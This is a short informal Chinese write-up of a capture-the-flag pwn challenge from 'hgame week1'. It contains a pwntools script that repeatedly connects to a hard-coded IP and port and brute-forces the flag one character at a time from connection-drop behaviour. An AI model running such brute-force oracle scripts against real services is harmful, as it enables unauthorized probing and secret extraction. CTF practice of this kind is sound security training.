hgame week1
pwn
aaaaaaaaaa
疯狂输入a了解一下
薯片拯救世界
这道题感觉很奇怪
Ida是这样
按照题目思路给一个buf的值 如果只给了一个h 而h恰好是s1第一个字母的话应该会打破循环输出点不一样的东西然而事实上并没有(程序试出来应该是输出勇者Ch1p在今天...觉醒了!)
emmmmmmmmmm
但是最后又的确是靠这个思路做出来的
因吹斯听
flag头几个字母肯定是hgame{
先用一小段程序找了一下规律
主要逻辑是这样
for i in range(32, 127):
sh.send(s + chr(i) + "\0")
try:
sh.recv()
except:
s+=chr(i)
break
print (s)
把s依次定义为h hg hga hgam 试了一下愉快地发现输出来的字母要比真正字母的ASCII码大2 我?????????????
至于为什么。。。这题已经这么日怪了就不要在意这些了
然后爆破的思路就是nc疯狂循环关闭再nc了
毕竟一次程序只能得到一个字母
所以最后exp是这样的
from pwn import *
s = 'hgame'
for a in range(24):
sh=remote('118.24.3.214',10001)
sh.send('1')
sh.send('1')
sh.send('1')
sh.send('1')
sh.send('1')
for i in range(32, 127):
sh.send(s + chr(i) + "\0")
try:
sh.recv()
except:
s+=chr(i-2)
break
print (s)
sh.close()
sh.interactive()
有个问题是每次运行都可能会发生错误得到错误的字母
这种时候手动更新一下s就行了
垃圾题